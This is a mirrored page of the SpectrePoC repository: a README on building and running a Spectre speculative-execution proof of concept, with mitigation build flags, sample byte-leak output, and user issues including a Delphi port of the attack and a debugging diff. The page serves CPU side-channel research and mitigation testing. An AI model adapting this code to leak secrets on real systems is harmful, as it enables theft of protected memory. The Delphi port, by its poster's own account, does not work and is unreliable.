Giter Site home page Giter Site logo

spectrepoc's Introduction

SpectrePoC

Proof of concept code for the Spectre CPU exploit.

Attribution

The source code originates from the example code provided in the "Spectre Attacks: Exploiting Speculative Execution" paper found here:

https://spectreattack.com/spectre.pdf

The original source code used in this repository was conveniently provided by Erik August's gist, found here: https://gist.github.com/ErikAugust/724d4a969fb2c6ae1bbd7b2a9e3d4bb6

The code has been modified to fix build issues, add workaround for older CPUs, and improve comments where possible.

Building

The project can be built with GNU Make and GCC.

On debian these are included in the build-essential metapackage.

Building is as easy as:

cd SpectrePoC

make

The output binary is ./spectre.out.

Mitigations

Several mitigations are available for Spectre.

These can be can be optionally compiled into the binary in order to test their effectiveness on various processors.

Intel lfence style mitigation

If you want to build a version with Intel's lfence mitigation included, set your CFLAGS

CFLAGS=-DINTEL_MITIGATION

in the Makefile or build like

CFLAGS=-DINTEL_MITIGATION make

Linux kernel style mitigation

If you want to build a version with Linux kernel array_index_mask_nospec() mitigation included, set your CFLAGS

CFLAGS=-DLINUX_KERNEL_MITIGATION

in the Makefile or build like

CFLAGS=-DLINUX_KERNEL_MITIGATION make

Building for older CPUs

Depending on the CPU, certain instructions will need to be disabled in order for the program to run correctly.

The instructions in question are:

rdtscp:

Introduced with x86-64. All 32-bit only CPUs, including many Core 2 Duos, will need to disable this instruction.

To build the project without rdtscp, define the NORDTSCP cflag:

CFLAGS=-DNORDTSCP make

mfence:

Introduced with SSE2. Most CPUs pre-Pentium 4 will need to disable this instruction.

To build the project without mfence, define the NOMFENCE cflag:

CFLAGS=-DNOMFENCE make

clflush

Introduced with SSE2. Most CPUs pre-Pentium 4 will need to disable this instruction.

To build the project without clflush, define the NOCLFLUSH cflag:

CFLAGS=-DNOCLFLUSH make

Multiple cflags

To define multiple cflags, separate each cflag with an escaped space. For example:

CFLAGS=-DNORDTSCP\ -DNOMFENCE\ -DNOCLFLUSH make

SSE2 instruction set

To build the project without all of the above instructions introduced with SSE2, define NOSSE2 cflag:

CFLAGS=-DNOSSE2 make

NOSSE2 is automatically enabled if the __SSE__ flag is present but __SSE2__ is absent. This means NOSSE2 shouldn't need to be manually specified when compiling on Clang or GCC on non-SSE2 processors.

On MSC, NOSSE2 is automatically enabled if the _M_IX86_FP flag is set to 1 (indicating SSE support, but no SSE2 support). MSC will set this by default for all x86 processors.

'Target specific option mismatch' error

Some 32-bit versions of gcc (e.g. the version used in Ubuntu 14.04) may show the following error while compiling the PoC:

/usr/lib/gcc/i686-linux-gnu/5/include/emmintrin.h:1479:1: error:
  inlining failed in call to always_inline
`_mm_clflush`: target specific option mismatch
 _mm_clflush (void const *__A)
 ^

In this case architecture build flag -march=native is required for compilation for the current CPU:

CFLAGS=-march=native make

This flag builds the binary specifically for the current CPU and it may crash after copying to another machine.

Building it without using the Makefile

If you want to build it manually, make sure to disable all optimisations (aka, don't use -O2), as it will break the program.

Executing

To run spectre with default cache hit threshold of 80, and the secret example string "The Magic Words are Squeamish Ossifrage." as the target, run ./spectre.out with no command line arguments.

Example: ./spectre.out

The cache hit threshold can be specified as the first command line argument. It must be a whole positive integer.

Example: ./spectre.out 80

A custom target address and length can be given as the second and third command line arguments, respectively.

Example: ./spectre.out 80 12345678 128

Tweaking

If you're getting lackluster results, you may need to tweak the cache hit threshold. This can be done by providing a threshold as the first command line argument.

While a value of 80 appears to work for most desktop CPUs, a larger value may be required for slower CPUs, and the newest desktop CPUs can go as low as 15. For example, on an Intel(R) Core(TM) i7-8650U CPU (Surface Book 2), a value of 20 works well. On a slower, integrated AMD GX-412TC SOC (PC Engines APU3), a value of 100-300 was required to get a good result.

Contributing

Feel free to add your results to the "Results" issue. Include your cache hit threshold, OS details, CPU details like vendor Id, family, model name, stepping, microcode, MHz, and cache size. The OS can be found by running uname -a. CPU info can be found by running cat /proc/cpuinfo on Linux, and sysctl -a | grep machdep.cpu on OSX.

Example output

The following was output on an Intel(R) Core(TM) i7-8650U CPU, with a cache hit threshold of 20:

./spectre.out 20:

Version: commit 04c47db298920eb4d1b7c1bafcd0017a72d415bc
Using a cache hit threshold of 20.
Build: RDTSCP_SUPPORTED MFENCE_SUPPORTED CLFLUSH_SUPPORTED INTEL_MITIGATION_DISABLED LINUX_KERNEL_MITIGATION_DISABLED
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfeeb8... Success: 0x54=’T’ score=187 (second best: 0x00=’?’ score=92)
Reading at malicious_x = 0xffffffffffdfeeb9... Unclear: 0x68=’h’ score=967 (second best: 0x00=’?’ score=486)
Reading at malicious_x = 0xffffffffffdfeeba... Unclear: 0x65=’e’ score=985 (second best: 0x00=’?’ score=566)
Reading at malicious_x = 0xffffffffffdfeebb... Unclear: 0x20=’ ’ score=965 (second best: 0x00=’?’ score=659)
Reading at malicious_x = 0xffffffffffdfeebc... Unclear: 0x4D=’M’ score=978 (second best: 0x00=’?’ score=700)
Reading at malicious_x = 0xffffffffffdfeebd... Unclear: 0x61=’a’ score=967 (second best: 0x00=’?’ score=654)
Reading at malicious_x = 0xffffffffffdfeebe... Success: 0x67=’g’ score=705 (second best: 0x00=’?’ score=345)
Reading at malicious_x = 0xffffffffffdfeebf... Unclear: 0x69=’i’ score=974 (second best: 0x6A=’j’ score=768)
Reading at malicious_x = 0xffffffffffdfeec0... Unclear: 0x63=’c’ score=615 (second best: 0x00=’?’ score=310)
Reading at malicious_x = 0xffffffffffdfeec1... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfeec2... Success: 0x57=’W’ score=13 (second best: 0x00=’?’ score=3)
Reading at malicious_x = 0xffffffffffdfeec3... Success: 0x6F=’o’ score=17 (second best: 0x00=’?’ score=1)
Reading at malicious_x = 0xffffffffffdfeec4... Success: 0x72=’r’ score=11 (second best: 0x00=’?’ score=4)
Reading at malicious_x = 0xffffffffffdfeec5... Unclear: 0x64=’d’ score=7 (second best: 0x00=’?’ score=6)
Reading at malicious_x = 0xffffffffffdfeec6... Success: 0x73=’s’ score=31 (second best: 0x00=’?’ score=13)
Reading at malicious_x = 0xffffffffffdfeec7... Unclear: 0x20=’ ’ score=7 (second best: 0x00=’?’ score=6)
Reading at malicious_x = 0xffffffffffdfeec8... Success: 0x61=’a’ score=43 (second best: 0x00=’?’ score=20)
Reading at malicious_x = 0xffffffffffdfeec9... Success: 0x72=’r’ score=189 (second best: 0x00=’?’ score=91)
Reading at malicious_x = 0xffffffffffdfeeca... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfeecb... Unclear: 0x20=’ ’ score=7 (second best: 0x00=’?’ score=6)
Reading at malicious_x = 0xffffffffffdfeecc... Unclear: 0x53=’S’ score=151 (second best: 0x00=’?’ score=78)
Reading at malicious_x = 0xffffffffffdfeecd... Success: 0x71=’q’ score=57 (second best: 0x00=’?’ score=26)
Reading at malicious_x = 0xffffffffffdfeece... Success: 0x00=’?’ score=5
Reading at malicious_x = 0xffffffffffdfeecf... Success: 0x65=’e’ score=33 (second best: 0x00=’?’ score=14)
Reading at malicious_x = 0xffffffffffdfeed0... Success: 0x61=’a’ score=115 (second best: 0x62=’b’ score=55)
Reading at malicious_x = 0xffffffffffdfeed1... Unclear: 0x6D=’m’ score=21 (second best: 0x00=’?’ score=15)
Reading at malicious_x = 0xffffffffffdfeed2... Unclear: 0x69=’i’ score=961 (second best: 0x6A=’j’ score=593)
Reading at malicious_x = 0xffffffffffdfeed3... Success: 0x73=’s’ score=37 (second best: 0x00=’?’ score=18)
Reading at malicious_x = 0xffffffffffdfeed4... Success: 0x68=’h’ score=253 (second best: 0x00=’?’ score=122)
Reading at malicious_x = 0xffffffffffdfeed5... Unclear: 0x20=’ ’ score=9 (second best: 0x00=’?’ score=5)
Reading at malicious_x = 0xffffffffffdfeed6... Success: 0x4F=’O’ score=315 (second best: 0x00=’?’ score=156)
Reading at malicious_x = 0xffffffffffdfeed7... Success: 0x73=’s’ score=21 (second best: 0x00=’?’ score=8)
Reading at malicious_x = 0xffffffffffdfeed8... Success: 0x73=’s’ score=27 (second best: 0x00=’?’ score=9)
Reading at malicious_x = 0xffffffffffdfeed9... Success: 0x69=’i’ score=51 (second best: 0x00=’?’ score=16)
Reading at malicious_x = 0xffffffffffdfeeda... Success: 0x66=’f’ score=2
Reading at malicious_x = 0xffffffffffdfeedb... Unclear: 0x72=’r’ score=53 (second best: 0x00=’?’ score=31)
Reading at malicious_x = 0xffffffffffdfeedc... Success: 0x61=’a’ score=7 (second best: 0x00=’?’ score=3)
Reading at malicious_x = 0xffffffffffdfeedd... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xffffffffffdfeede... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfeedf... Success: 0x2E=’.’ score=35 (second best: 0x00=’?’ score=8)

spectrepoc's People

Contributors

crozone avatar hawkinsw avatar huutrung avatar joeywang4 avatar leni536 avatar postrediori avatar rouault avatar ucchiee avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

spectrepoc's Issues

Error comment on bit twiddling trick

x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */

should be

/* Set x=0xFFFFFFFFFFFFFFFF if x=0xFFFFFFFFFFFF0000, else x=0 */
// or
/* Set x=-1 if j%6=0, else x=0 */ 

It's clearly that the 2's complement of -1 is 0xFFFFFFFFFFFF0000 and there is no logic for j&6.

This Error has been copied or spread for so many repos.

Results

OS

Linux 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3+deb9u1 (2017-12-23) x86_64 GNU/Linux

CPU:

vendor_id       : AuthenticAMD
cpu family      : 22
model           : 48
model name      : AMD GX-412TC SOC
stepping        : 1
microcode       : 0x7030105
cpu MHz         : 600.000
cache size      : 2048 KB

Results (CACHE_HIT_THRESHOLD = 300):

Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfed78... Success: 0x54=’T’ score=2
Reading at malicious_x = 0xffffffffffdfed79... Success: 0x68=’h’ score=2
Reading at malicious_x = 0xffffffffffdfed7a... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfed7b... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfed7c... Success: 0x4D=’M’ score=2
Reading at malicious_x = 0xffffffffffdfed7d... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfed7e... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xffffffffffdfed7f... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdfed80... Success: 0x63=’c’ score=2
Reading at malicious_x = 0xffffffffffdfed81... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfed82... Success: 0x57=’W’ score=2
Reading at malicious_x = 0xffffffffffdfed83... Success: 0x6F=’o’ score=2
Reading at malicious_x = 0xffffffffffdfed84... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdfed85... Success: 0x64=’d’ score=2
Reading at malicious_x = 0xffffffffffdfed86... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfed87... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfed88... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfed89... Unclear: 0x72=’r’ score=998 (second best: 0xB7 score=974)
Reading at malicious_x = 0xffffffffffdfed8a... Unclear: 0x65=’e’ score=999 (second best: 0x4D score=970)
Reading at malicious_x = 0xffffffffffdfed8b... Unclear: 0x20=’ ’ score=999 (second best: 0x75 score=971)
Reading at malicious_x = 0xffffffffffdfed8c... Unclear: 0x53=’S’ score=998 (second best: 0x69 score=971)
Reading at malicious_x = 0xffffffffffdfed8d... Unclear: 0x71=’q’ score=998 (second best: 0xBD score=975)
Reading at malicious_x = 0xffffffffffdfed8e... Unclear: 0x75=’u’ score=998 (second best: 0xBC score=969)
Reading at malicious_x = 0xffffffffffdfed8f... Unclear: 0x65=’e’ score=999 (second best: 0x9B score=971)
Reading at malicious_x = 0xffffffffffdfed90... Unclear: 0x61=’a’ score=998 (second best: 0x74 score=975)
Reading at malicious_x = 0xffffffffffdfed91... Unclear: 0x6D=’m’ score=997 (second best: 0x11 score=968)
Reading at malicious_x = 0xffffffffffdfed92... Unclear: 0x69=’i’ score=999 (second best: 0xB7 score=970)
Reading at malicious_x = 0xffffffffffdfed93... Unclear: 0x73=’s’ score=996 (second best: 0xB1 score=972)
Reading at malicious_x = 0xffffffffffdfed94... Unclear: 0x68=’h’ score=999 (second best: 0xEF score=972)
Reading at malicious_x = 0xffffffffffdfed95... Unclear: 0x20=’ ’ score=997 (second best: 0xC8 score=978)
Reading at malicious_x = 0xffffffffffdfed96... Unclear: 0x4F=’O’ score=999 (second best: 0xC7 score=969)
Reading at malicious_x = 0xffffffffffdfed97... Unclear: 0x73=’s’ score=999 (second best: 0x5F score=972)
Reading at malicious_x = 0xffffffffffdfed98... Unclear: 0x73=’s’ score=997 (second best: 0x7F score=965)
Reading at malicious_x = 0xffffffffffdfed99... Unclear: 0x69=’i’ score=998 (second best: 0xB7 score=976)
Reading at malicious_x = 0xffffffffffdfed9a... Unclear: 0x66=’f’ score=998 (second best: 0x87 score=971)
Reading at malicious_x = 0xffffffffffdfed9b... Unclear: 0x72=’r’ score=997 (second best: 0xA6 score=973)
Reading at malicious_x = 0xffffffffffdfed9c... Unclear: 0x61=’a’ score=999 (second best: 0x36 score=975)
Reading at malicious_x = 0xffffffffffdfed9d... Unclear: 0x67=’g’ score=994 (second best: 0xB7 score=968)
Reading at malicious_x = 0xffffffffffdfed9e... Unclear: 0x65=’e’ score=998 (second best: 0xAC score=973)
Reading at malicious_x = 0xffffffffffdfed9f... Unclear: 0x2E=’.’ score=997 (second best: 0xB8 score=977)

Need help..

Hi,

I am new to Security and its been a great help with your script. But I fail to understand the difference in the output. Can you please kindly help me out?

Only alphabet values in secret string is a bit misleading.

When trying to develop my own spectre attack I keep running into cache line issues at different byte values.

It seems spectre attack is not very reliable for byte ranges from 0 to 255.

Doing a spectre attack for ascii values from A to Z and a to z is probably much easier and more reliable.

Thus I find this technique misleading, it's not very "generic".

I could be wrong about this, but you/anybody could prove me wrong, by changing the secret string to be more of a secret byte array (where the entire byte value range of 0 to 255 is used as secret values) and then trying to recover that instead.

For now I am willing to bet the spectre attack will fail under these conditions. Since some variables used will cause "false" cache line hits and thus through off results.

Better CACHE_HIT_THRESHOLD configuration

CACHE_HIT_THRESHOLD is a pretty important value to tweak and the optimal differs between processors. The current solution of changing the #define in code for each new test is less than ideal.

Current ideas on how to fix this:

  • Make the #define configurable via the Makefile so it can be set at build time from the command line

  • Make the cache hit threshold a variable that can be set via command line argument at runtime.

  • Automatically search for the best cache hit threshold at runtime (some interesting work happening in this fork regarding this: https://github.com/JoseCarlosGarcia95/SpectrePoC/commits/master)

crashes

crashes and produced a priviled instruction exception, the problem is with p version of tsc.

VS2010/Win7.

There are two instrinsincs, one does not work (only for ring0) other one does work probably for ring 3.

Not sure if I have to set defines myself for proper building, or if code is simply assuming OS access which ofcourse is not the case.

crashes:
#include <intrin.h>
#include <stdio.h>
int main()
{
unsigned __int64 i;
unsigned int ui;
i = __rdtscp(&ui);
printf_s("%I64d ticks\n", i);
printf_s("TSC_AUX was %x\n", ui);
}

works:
// rdtsc.cpp
// processor: x86, x64
#include <stdio.h>
#include <intrin.h>

#pragma intrinsic(__rdtsc)

int main()
{
unsigned __int64 i;
i = __rdtsc();
printf_s("%I64d ticks\n", i);
}

Try make code work in such a way that it uses bottom one always ?

Not working in Delphi...hmmm..

program TestProgramForInternet;

{$APPTYPE CONSOLE}

{$R *.res}

uses
System.SysUtils,
Windows;

(*
// cycles
function RDTSC: Int64; assembler;
asm
// RDTSC can be executed out of order, so the pipeline needs to be flushed
// to prevent RDTSC from executing before your code is finished.
// Flush the pipeline
XOR eax, eax
PUSH EBX
CPUID
POP EBX
RDTSC //Get the CPU's time stamp counter.
end;

*)

{
function RDTSC : uint64; assembler;
asm
db $0f
db $31
end;
}
procedure clflush( Address : pointer ); assembler;
asm
db $0f
db $ae
db $7d
db $f8
end;

procedure mfence; assembler;
asm
db $0f
db $ae
db $f0
end;

function RDTSC : uint64; assembler;
asm
db $0f
db $ae
db $f0
db $0f
db $31
end;

// *******************************************************************
// Victim code.
// *******************************************************************

var
array1_size : longword = 16;
unused1 : array[0..63] of byte;
array1 : array[0..159] of byte;

{
1,
2,
3,
4,
5,
6,
7,
8,
9,
10,
11,
12,
13,
14,
15,
16
}

unused2 : array[0..63] of byte;
array2 : array[0..(256 * 512)-1] of byte;

secret : AnsiString = 'The Magic Words are Squeamish Ossifrage.';

temp : byte =0; // Used so compiler won’t optimize out victim_function()

procedure victim_function(x:integer);
begin
if (x < array1_size) then
begin
temp := temp and array2[array1[x] * 512];
end;
end;

// clflush missing it seems, could be the problem lol.

// *******************************************************************
// Analysis code
// *******************************************************************

const
CACHE_HIT_THRESHOLD = 80; // assume cache hit if time <:= threshold

// Report best guess in value[0] and runner-up in value[1]
procedure readMemoryByte( malicious_x : integer; var value : array of byte; var score : array of integer );
var
results : array[0..255] of integer;

tries, i, j, k, mix_i, junk : integer;

training_x, x : integer;

time1, time2 : uint64;
vaddr : ^byte;

z : integer;
begin
tries := 0;
i := 0;
j := 0;
k := 0;
mix_i := 0;
junk := 0;

for i := 0 to 255 do results[i] := 0;

for tries := 999 downto 0 do
begin
// Flush array2[256*(0..255)] from cache
for i := 0 to 255 do clflush( @array2[i * 512]); // intrinsic for clflush instruction // flush missing. code shit anyway lol haha.
// TrashCacheUsingForLoop( Junk );

// 30 loops: 5 training runs (x:=training_x) per attack run (x:=malicious_x)
training_x := tries mod array1_size;
for j := 29 downto 0 do
begin
  clflush( @array1_size);

// TrashCacheUsingForLoop( Junk );

  for z := 0 to 99 do begin end;

  // Bit twiddling to set x:=training_x if j%6!:=0 or malicious_x if j%6=0
  // Avoid jumps in case those tip off the branch predictor
  x := ((j mod 6) - 1) and ((not $FFFF)+1); // Set x:=FFF.FF0000 if j%6=0, else x:=0
  x := (x or (x shr 16)); // Set x:=-1 if j&6:=0, else x:=0
  x := training_x xor (x and (malicious_x xor training_x));

  // Call the victim!
  victim_function(x);

end;

// Time reads. Order is lightly mixed up to prevent stride prediction
for i := 0 to 255 do
begin
  mix_i := ((i * 167) + 13) and 255;
  vaddr := @array2[mix_i * 512];
  time1 := rdtsc; // READ TIMER
  junk := vaddr^; // MEMORY ACCESS TO TIME
  time2 := rdtsc - time1; // READ TIMER & COMPUTE ELAPSED TIME
  if (time2 <= CACHE_HIT_THRESHOLD) and (mix_i <> array1[tries mod array1_size]) then
    inc(results[mix_i]); // cache hit - add +1 to score for this value
end;

// Locate highest & second-highest results results tallies in j/k
j := -1;
k := -1;
for i := 0 to 255 do
begin
  if (j < 0) and (results[i] >= results[j]) then
  begin
    k := j;
    j := i;
  end else
  if (k < 0) and (results[i] >= results[k]) then
  begin
    k := i;
  end;
end;
if
(
  (
    results[j] >= (2 * results[k] + 5)
  )
  or
  (
    (results[j] = 2) and (results[k] = 0)
  )
) then break; // Clear success if best is > 2*runner-up + 5 or 2/0)

end;

results[0] := results[0] xor junk; // use junk so code above won’t get optimized out
value[0] := j;
score[0] := results[j];
value[1] := k;
score[1] := results[k];
end;

procedure Main;
var
malicious_x : integer;
i : integer;
score : array[0..1] of integer;
len : integer;
value : array[0..1] of byte;

begin
malicious_x := longword( @secret[1] ) - longword(@array1[0]); // default for malicious_x
len := 40;

array1[0] := 1;
array1[1] := 2;
array1[2] := 3;
array1[3] := 4;
array1[4] := 5;
array1[5] := 6;
array1[6] := 7;
array1[7] := 8;
array1[8] := 9;
array1[9] := 10;
array1[10] := 11;
array1[11] := 12;
array1[12] := 13;
array1[13] := 14;
array1[14] := 15;
array1[15] := 16;

for i := 0 to sizeof(array2)-1 do
begin
array2[i] := 1; // write to array2 so in RAM not copy-on-write zero pages
end;
{
if (argc = 3) begin
sscanf(argv[1], "%p", (void * * )( & malicious_x));
malicious_x -:= (size_t) array1; // Convert input value into a pointer
sscanf(argv[2], "%d", & len);
end
}

writeln('Reading %d bytes: ', len);
repeat
writeln('Reading at malicious_x := %p... ', longword(malicious_x));
readMemoryByte(malicious_x, value, score);
inc(malicious_x);

// writeln('s: ', (score[0] >= 2 * score[1] ? "Success" : "Unclear"));

// writeln('0x%02X:=’%c’ score:=%d ", value[0],

writeln( 'vValue[0]: ', value[0], ' vScore: ', score[0] );

// (value[0] > 31 && value[0] < 127 ? value[0] : "?"), score[0]);
// if (score[1] > 0)
// printf("(second best: 0x%02X score:=%d)", value[1], score[1]);
// printf("\n");
len := len - 1;
until len = 0;
end;

begin
try
Main;
except
on E: Exception do
Writeln(E.ClassName, ': ', E.Message);
end;
ReadLn;
end.

Attack not working without printf

Hi all,

when researching the attack, I found a strange thing.
Not sure whether this is the best place for discussion but it seems this is the most recent PoC repository I could find on gh.

What does not work

What I found was that the attack will not work quite right without the initial printfs before leaking bytes.

Hardware

I tested this on:

  • AMD Ryzen 7 3700X (Linux 6.1.0-12-amd64, debian 12)
  • Intel Xeon Skylake, IBRS (Linux 6.1.0-12-amd64, debian 12) - at least that is what my cloud provider says ^^

The patch to reconstruct the issue

See the following diff I applied to the original source. I am basically removing all printfs before finding the first secret byte.

diff --git a/spectre.c b/spectre.c
index 864d12d..2b4bb64 100644
--- a/spectre.c
+++ b/spectre.c
@@ -324,49 +324,8 @@ int main(int argc,
     sscanf(argv[3], "%d", &len);
   }

-  /* Print git commit hash */
-  #ifdef GIT_COMMIT_HASH
-    printf("Version: commit " GIT_COMMIT_HASH "\n");
-  #endif
-
-  /* Print cache hit threshold */
-  printf("Using a cache hit threshold of %d.\n", cache_hit_threshold);
-
-  /* Print build configuration */
-  printf("Build: ");
-  #ifndef NORDTSCP
-    printf("RDTSCP_SUPPORTED ");
-  #else
-    printf("RDTSCP_NOT_SUPPORTED ");
-  #endif
-  #ifndef NOMFENCE
-    printf("MFENCE_SUPPORTED ");
-  #else
-    printf("MFENCE_NOT_SUPPORTED ");
-  #endif
-  #ifndef NOCLFLUSH
-    printf("CLFLUSH_SUPPORTED ");
-  #else
-    printf("CLFLUSH_NOT_SUPPORTED ");
-  #endif
-  #ifdef INTEL_MITIGATION
-    printf("INTEL_MITIGATION_ENABLED ");
-  #else
-    printf("INTEL_MITIGATION_DISABLED ");
-  #endif
-  #ifdef LINUX_KERNEL_MITIGATION
-    printf("LINUX_KERNEL_MITIGATION_ENABLED ");
-  #else
-    printf("LINUX_KERNEL_MITIGATION_DISABLED ");
-  #endif
-
-  printf("\n");
-
-  printf("Reading %d bytes:\n", len);
-
   /* Start the read loop to read each address */
   while (--len >= 0) {
-    printf("Reading at malicious_x = %p... ", (void * ) malicious_x);

     /* Call readMemoryByte with the required cache hit threshold and
        malicious x address. value and score are arrays that are

Applying that patch, the following output is shown:

Success: 0x02=’?’ score=51 (second best: 0x01=’?’ score=23) <<-- This line changes.
Unclear: 0x68=’h’ score=992 (second best: 0x02=’?’ score=813)
Unclear: 0x65=’e’ score=999 (second best: 0x02=’?’ score=861)
Unclear: 0x20=’ ’ score=992 (second best: 0x02=’?’ score=869)
Unclear: 0x4D=’M’ score=987 (second best: 0x02=’?’ score=857)
Unclear: 0x61=’a’ score=989 (second best: 0x02=’?’ score=843)
Unclear: 0x67=’g’ score=998 (second best: 0x02=’?’ score=838)

The first byte cannot be leaked anymore. Removing all printfs leads to no byte being leaked correctly.

Why?

Currently, I am not sure why that happens. My assumption is that printf somehow changes state of some pages without which the attack does not work.
For this, I added 1 printf and stopped right before it with GDB. Using pagemap, I dumped the page table and had a look at differences before and after the printf (left side is before the printf).

One can see that amongst having a heap now, some additional libc pages are present. Calling malloc instead of printf does not work and still produces wrong bytes.

4c4
< 0x555555556000     : soft-dirty 1 file/shared 0 swapped 0 present 0 library /home/rh/spectre/cache-timing/spectre.out
---
> 0x555555556000     : soft-dirty 1 file/shared 1 swapped 0 present 1 library /home/rh/spectre/cache-timing/spectre.out
38a39,71
> 0x555555579000     : soft-dirty 1 file/shared 0 swapped 0 present 1 library [heap]
> 0x55555557a000     : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x55555557b000     : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x55555557c000     : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x55555557d000     : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x55555557e000     : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x55555557f000     : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x555555580000     : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x555555581000     : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x555555582000     : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x555555583000     : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x555555584000     : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x555555585000     : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x555555586000     : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x555555587000     : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x555555588000     : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x555555589000     : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x55555558a000     : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x55555558b000     : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x55555558c000     : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x55555558d000     : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x55555558e000     : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x55555558f000     : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x555555590000     : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x555555591000     : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x555555592000     : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x555555593000     : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x555555594000     : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x555555595000     : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x555555596000     : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x555555597000     : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x555555598000     : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
> 0x555555599000     : soft-dirty 1 file/shared 0 swapped 0 present 0 library [heap]
101c134
< 0x7ffff7e09000     : soft-dirty 1 file/shared 1 swapped 0 present 1 library /usr/lib/x86_64-linux-gnu/libc.so.6
---
> 0x7ffff7e09000     : soft-dirty 1 file/shared 0 swapped 0 present 1 library /usr/lib/x86_64-linux-gnu/libc.so.6
156,171c189,204
< 0x7ffff7e40000     : soft-dirty 1 file/shared 0 swapped 0 present 0 library /usr/lib/x86_64-linux-gnu/libc.so.6
< 0x7ffff7e41000     : soft-dirty 1 file/shared 0 swapped 0 present 0 library /usr/lib/x86_64-linux-gnu/libc.so.6
< 0x7ffff7e42000     : soft-dirty 1 file/shared 0 swapped 0 present 0 library /usr/lib/x86_64-linux-gnu/libc.so.6
< 0x7ffff7e43000     : soft-dirty 1 file/shared 0 swapped 0 present 0 library /usr/lib/x86_64-linux-gnu/libc.so.6
< 0x7ffff7e44000     : soft-dirty 1 file/shared 0 swapped 0 present 0 library /usr/lib/x86_64-linux-gnu/libc.so.6
< 0x7ffff7e45000     : soft-dirty 1 file/shared 0 swapped 0 present 0 library /usr/lib/x86_64-linux-gnu/libc.so.6
< 0x7ffff7e46000     : soft-dirty 1 file/shared 0 swapped 0 present 0 library /usr/lib/x86_64-linux-gnu/libc.so.6
< 0x7ffff7e47000     : soft-dirty 1 file/shared 0 swapped 0 present 0 library /usr/lib/x86_64-linux-gnu/libc.so.6
< 0x7ffff7e48000     : soft-dirty 1 file/shared 0 swapped 0 present 0 library /usr/lib/x86_64-linux-gnu/libc.so.6
< 0x7ffff7e49000     : soft-dirty 1 file/shared 0 swapped 0 present 0 library /usr/lib/x86_64-linux-gnu/libc.so.6
< 0x7ffff7e4a000     : soft-dirty 1 file/shared 0 swapped 0 present 0 library /usr/lib/x86_64-linux-gnu/libc.so.6
< 0x7ffff7e4b000     : soft-dirty 1 file/shared 0 swapped 0 present 0 library /usr/lib/x86_64-linux-gnu/libc.so.6
< 0x7ffff7e4c000     : soft-dirty 1 file/shared 0 swapped 0 present 0 library /usr/lib/x86_64-linux-gnu/libc.so.6
